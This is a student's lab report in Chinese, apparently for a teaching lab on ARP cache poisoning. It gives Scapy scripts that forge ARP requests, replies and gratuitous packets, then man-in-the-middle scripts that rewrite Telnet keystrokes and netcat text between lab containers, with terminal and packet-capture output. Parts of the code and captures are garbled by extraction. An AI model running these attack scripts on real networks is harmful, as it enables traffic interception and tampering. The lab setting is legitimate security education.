ARP Cache Poisoning Attack Lab

57118210 郑荔文

Task1: ARP Cache Poisoning

1.A

在 host M 中构建一个 ARP-request 报文, 将其发送给 host A(10.9.0.5)

```
1 from scapy.all import *
2
3 E=Ether()
4 A=ARP()
5 A.op=1
6 A.psrc="10.9.0.6"
7 A.pdst="10.9.0.5"
8 pkt=E/A
9 sendp(pkt)
```

在发送之前,通过 arp -n 查询 hostA 的 ARP Cache,发现其 10.9.0.6 的 HWaddress 为 02: 42: 0a: 09: 00: 06, 即为 hostB(10.9.0.6 的 mac 地址)

```
      root@3a6f3924a28b:/# arp -n

      Address
      HWtype
      HWaddress
      Flags Mask
      Iface

      10.9.0.6
      ether
      02:42:0a:09:00:06
      C
      eth0

      10.9.0.105
      ether
      02:42:0a:09:00:69
      C
      eth0
```

发送上述报文之后, 紧接着使用 arp -n 命令重新查看 hostA 的 ARP cache, 发现其 HWaddress 发生了变化, 变为与 10.9.0.105 相同的 mac 地址, 从而证明攻击成功。

1.B

在 host M 中构建一个 ARP-reply 报文,将其发送给 host A(10.9.0.5)

```
1 from scapy.all import *
2
3 E=Ether()
4 A=ARP()
5 A.op=2
6 A.psrc="10.9.0.6"
7 A.pdst="10.9.0.5"
8 pkt=E/A
9 sendp(pkt)
```

Scenario1: 在发送之前查看 A 的 ARP cache, 发现在其中已经有 10.9.0.6 的硬件地址

```
      root@3a6f3924a28b:/# arp -n

      Address
      HWtype
      HWaddress
      Flags Mask
      Iface

      10.9.0.6
      ether
      02:42:0a:09:00:06
      C
      eth0

      10.9.0.105
      ether
      02:42:0a:09:00:69
      C
      eth0
```

在运行上述代码之后,重新查看 A 的 ARP cache,发现在其中已经有 10.9.0.6 的硬件地址 变为 10.9.0.105 的硬件地址,表明在 A 的 ARP cache 中已经有 B 的地址的情况下攻击成功。

Scenario2: 清空 host A 的 ARP cache,如下图所示,其中并不存在 B 的地址,重新运行上述代码

```
root@3a6f3924a28b:/# arp -n
root@3a6f3924a28b:/# arp -n
```

之后出现的 10.9.0.6 的 mac 地址仍然与 10.9.0.105 的地址相同,从而表明在 B 的 ip 不在 A 的 cache 的情况下攻击仍然成功。

```
root@3a6f3924a28b:/# arp -n
Address
                         HWtype
                                  HWaddress
                                                       Flags Mask
                                                                             Tface
10.9.0.6
                          ether
                                  02:42:0a:09:00:69
                                                                              eth0
                                                       C
10.9.0.105
                         ether
                                  02:42:0a:09:00:69
                                                       C
                                                                             eth0
```

1.C

依据任务中给出的 ARP gratuitous 报文的特点构造数据包

```
1 from scapy.all import *
2
3 E=Ether()
4 A=ARP()
5 A. op=2
6 A. psrc="10.9.0.6"
7 A. pdst="10.9.0.6"
8 A. hwdst="ff:ff:ff:ff:ff"
9 E. dst="ff:ff:ff:ff:ff"
10 pkt=E/A
11 while 1:
12 sendp(pkt)
```

使得其 src 与 dst 的 ip 地址相同,ARP 与 ethernet 头的 mac 地址均为广播地址(全为 1),在运行之前查看 host A 的 arp cache 如下所示,与实际情况相符合

```
      root@3a6f3924a28b:/# arp -n
      HWtype
      HWaddress
      Flags Mask
      Iface

      10.9.0.6
      ether
      02:42:0a:09:00:06
      C
      eth0

      10.9.0.105
      ether
      02:42:0a:09:00:69
      C
      eth0
```

运行上述代码之后,10.9.0.6 的 mac 地址变为 10.9.0.105 的地址,攻击成功。

```
root@3a6f3924a28b:/# arp -n
Address
                         HWtype
                                 HWaddress
                                                      Flags Mask
                                                                             Iface
10.9.0.6
                         ether
                                  02:42:0a:09:00:69
                                                      C
                                                                             eth0
10.9.0.105
                                  02:42:0a:09:00:69
                                                      (
                                                                             eth0
                         ether
```

清除原 arp 缓存后重新进行试验

```
root@3a6f3924a28b:/# arp -n
root@3a6f3924a28b:/# arp -n
```

经验证,攻击仍然成功。即无论是否 B 的地址在 A 的 ARP cache 中,都可以攻击成功。

```
root@3a6f3924a28b:/# arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C eth0
10.9.0.105 ether 02:42:0a:09:00:69 C eth0
```

Task 2: MITM Attack on Telnet using ARP Cache Poisoning

Step1: 首先在 host M 中对 A, B 分别实行 ARP cache poisoning 攻击。为了使得攻击持续时间更久,代码如下:

```
1 from scapy.all import *
 2
 3 E=Ether()
 4A = ARP()
 5B = ARP()
 7 A.op=1
 8A.psrc="10.9.0.6"
 9 A.pdst="10.9.0.5"
10
11 B.op=1
12 B.psrc="10.9.0.5"
13 B.pdst="10.9.0.6"
15 pkt=E/A
16 pkt2=E/B
17 while 1:
18
           sendp(pkt)
19
           sendp(pkt2)
```

其中采用了 ARP-request 方法不停向 A 和 B 发送报文,以实现攻击。以下为攻击前后 A 和 B 的 arp cache 的情况。

```
root@a5139ac2b5cb:/# arp -n
                                                                           Iface
Address
                        HWtype HWaddress
                                                     Flags Mask
10.9.0.105
                                02:42:0a:09:00:69
                                                                           eth0
                        ether
10.9.0.5
                        ether
                                02:42:0a:09:00:05
                                                     C
                                                                           eth0
root@a5139ac2b5cb:/# arp -n
                        HWtype
                                HWaddress
                                                     Flags Mask
                                                                           Iface
10.9.0.105
                                02:42:0a:09:00:69
                        ether
                                                                           eth0
10.9.0.5
                        ether
                                02:42:0a:09:00:69
                                                                           eth0
root@3a6f3924a28b:/# arp -n
Address
                         HWtype
                                  HWaddress
                                                       Flags Mask
                                                                             Iface
10.9.0.6
                                  02:42:0a:09:00:69
                         ether
                                                                              eth0
                                                      C
10.9.0.105
                                  02:42:0a:09:00:69
                         ether
```

可得在攻击之后,在 A, B 中均将对方的 mac 地址错认为 10.9.0.105 的 mac 地址, 即 M 的 mac 地址

Step2: 使用如下命令使得 ip_forward=0,即关闭在 M 上的 ip_forward

```
root@229c277fab5c:/# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

此时在 10.9.0.5 上 ping 10.9.0.6, 会发现所有的数据包都被丢弃

```
root@3a6f3924a28b:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
9 packets transmitted, 0 received, 100% packet loss, time 8189ms
```

采用 wireshark 抓包,分析可见所有的包都找不到 response

```
- 773 2021-07-15 12:12:34.945861905 10.9.0.5 10.9.0.5 10.9.0.6 ICMP 100 Echo (ping) request id=0x0044, seq=1/256, ttl=64 (no response found!) 774 2021-07-15 12:12:34.945808000 10.9.0.5 10.9.0.6 ICMP 100 Echo (ping) request id=0x0044, seq=2/56, ttl=64 (no response found!) 899 2021-07-15 12:12:35.966780000 10.9.0.5 10.9.0.6 ICMP 100 Echo (ping) request id=0x0044, seq=2/512, ttl=64 (no response found!) 1000 2021-07-15 12:12:35.966780000 10.9.0.5 10.9.0.6 ICMP 100 Echo (ping) request id=0x0044, seq=2/512, ttl=64 (no response found!) 1000 2021-07-15 12:12:36.991100179 10.9.0.5 10.9.0.6 ICMP 100 Echo (ping) request id=0x0044, seq=2/512, ttl=64 (no response found!) 1000 2021-07-15 12:12:36.99110412 10.9.0.5 10.9.0.5 ICMP 100 Echo (ping) request id=0x0044, seq=3/768, ttl=64 (no response found!) 1150 2021-07-15 12:12:38.01527910 10.9.0.5 10.9.0.5 ICMP 100 Echo (ping) request id=0x0044, seq=3/768, ttl=64 (no response found!) 1160 2021-07-15 12:12:38.015279200 10.9.0.5 10.9.0.5 ICMP 100 Echo (ping) request id=0x0044, seq=3/768, ttl=64 (no response found!) 1160 2021-07-15 12:12:38.015279200 10.9.0.5 10.9.0.5 ICMP 100 Echo (ping) request id=0x0044, seq=3/764, ttl=64 (no response found!) 1160 2021-07-15 12:12:38.015279200 10.9.0.5 10.9.0.5 ICMP 100 Echo (ping) request id=0x0044, seq=3/764, ttl=64 (no response found!) 1160 2021-07-15 12:12:38.015279200 10.9.0.5 10.9.0.5 ICMP 100 Echo (ping) request id=0x0044, seq=3/764, ttl=64 (no response found!)
```

Step3: 打开 ip_forward, 将其设为 1

```
root@229c277fab5c:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
```

之后发现 ping10.9.0.6 可以 ping 的通,其数据包被 redirect

```
root@3a6f3924a28b:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.089 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.109 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.101 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.100 ms
```

同样通过 wireshark 抓包发现其中存在 reply 和 redirect 的报文

1878 2021-07-15 12:08:17.275985444	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x0042, seg=1/256, ttl=63 (reply in 1871)
1871 2021-07-15 12:08:17.276011090	10.9.0.6	10.9.0.5	ICMP		id=0x0042, seq=1/256, ttl=64 (request in 1870)
1872 2021-07-15 12:08:17.276016433	10.9.0.6	10.9.0.5	ICMP		id=0x0042, seq=1/256, ttl=64
1873 2021-07-15 12:08:17.276022207	10.9.0.105	10.9.0.6	ICMP	128 Redirect	(Redirect for host)
1874 2021-07-15 12:08:17.276025131	10.9.0.105			128 Redirect	(Redirect for host)
1875 2021-07-15 12:08:17.276022912	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) reply	id=0x0042, seq=1/256, ttl=63
1876 2021-07-15 12:08:17.276027724	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) reply	id=0x0842, seq=1/256, tt1=63
2801 2021-07-15 12:08:18.302417838	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x0042, seq=2/512, ttl=64 (no response found!)
2802 2021-07-15 12:08:18.302437154	18.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x0042, seq=2/512, ttl=64 (no response found!)
2803 2021-07-15 12:08:18.302456180	10.9.0.105	10.9.0.5	ICMP	128 Redirect	(Redirect for host)
2604 2021-07-15 12:08:18.302460561	18.9.0.185	10.9.0.5	ICMP	128 Redirect	(Redirect for host)
2805 2021-07-15 12:08:18.302457709	10.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x0042, seq=2/512, tt1=63 (no response found!)
2806 2021-07-15 12:08:18.302463937	18.9.0.5	10.9.0.6	ICMP	100 Echo (ping) request	id=0x0042, seq=2/512, ttl=63 (reply in 2007)
2807 2021-07-15 12:08:18.302477445	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) reply	id=0x0042, seq=2/512, ttl=64 (request in 2006)
2008 2021-07-15 12:08:18.302479508	10.9.0.6	10.9.0.5	ICMP	100 Echo (ping) reply	id=0x0042, seq=2/512, ttl=64
2809 2021-07-15 12:08:18.302483408	10.9.0.105	10.9.0.6	ICMP	128 Redirect	(Redirect for host)
2010 2021-07-15 12:08:18.302485822	18.9.0.185	10.9.0.6	ICMP	128 Redirect	(Redirect for host)

Step4: 实现 MITM 攻击

首先将 ip_forward 设为 1,使得 A 和 B 可以 telnet 连接

root@229c277fab5c:/# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

构造如下代码,对从 A 到 B 的报文机型修改,将其中的所有内容都改成与之长度相同的 Z,而对反方向的报文不进行修改

```
2 ip_a="10.9.0.5"
 3 mac_a="02:42:0a:09:00:05"
4 ip_b="10.9.0.6"
 5 mac_b="02:42:0a:09:00:06"
 7def spoof_pkt(pkt):
8          if pkt[IP].src==ip_a and pkt[IP].dst==ip_b:
                    newpkt=IP(bytes(pkt[IP]))
                    del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
                    if pkt[TCP].payload:
                             data=pkt[TCP].payload.load
                             datalen=len(data)
                             newdata='Z'*datalen
                             send(newpkt/newdata)
                    else:
                             send(newpkt)
            elif pkt[IP].src==ip_b and pkt[IP].dst==ip_a:
                    newpkt=IP(bytes(pkt[IP]))
                    del(newpkt.chksum)
del(newpkt[TCP].chksum)
27 send(newpkt)
28 f='tcp and host 10.9.0.5'|
29 pkt=sniff(iface='eth0',filter=f,prn=spoof_pkt)
30
在 A 与 B telnet 连接之后,关闭 ip_forward
root@229c277fab5c:/# sysctl net.ipv4.ip forward=0
net.ipv4.ip_forward = 0
root@229c277fab5c:/#
运行上述代码,则可以发现在成功 telnet 之后,输入的字符全部变为 Z,其图示如下,表明
攻击成功。
Connected to 10.9.0.6.
```

```
Escape character is
Ubuntu 20.04.1 LTS
a5139ac2b5cb login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)
 * Documentation: https://help.ubuntu.com
 * Management:
                   https://landscape.canonical.com
 * Support:
                   https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
seed@a5139ac2b5cb:~$ ZZZZZZ
```

Task 3: MITM Attack on Netcat using ARP Cache Poisoning

与 task2 相似,在 A 与 B 采用 netcat 通信时,仍可以进行类似攻击。修改上述代码,将其修改为以下形式:将输入的所有 liwenzheng 字符串改为同样长度的 a

在 host B 处 nc -lp 9090 端口,在 A 处 nc -nv 10.9.0.6 9090 先将 ip_forward 设为 1 使得 A 和 B 可以连接,之后将 ip_forward 设为 0 在 A 处进行输入,输入会显示在 B 处,其中包含 liwenzheng 的部分被替换成了 aaaaaaaaaa, 其他部分没有改变,表明攻击成功。

```
root@3a6f3924a28b:/# nc -nv 10.9.0.6 9090
Connection to 10.9.0.6 9090 port [tcp/*] succeeded!
liwenzheng
123liwenzheng
45666

root@a5139ac2b5cb:/# nc -lp 9090
aaaaaaaaaa
123aaaaaaaaa
45666
```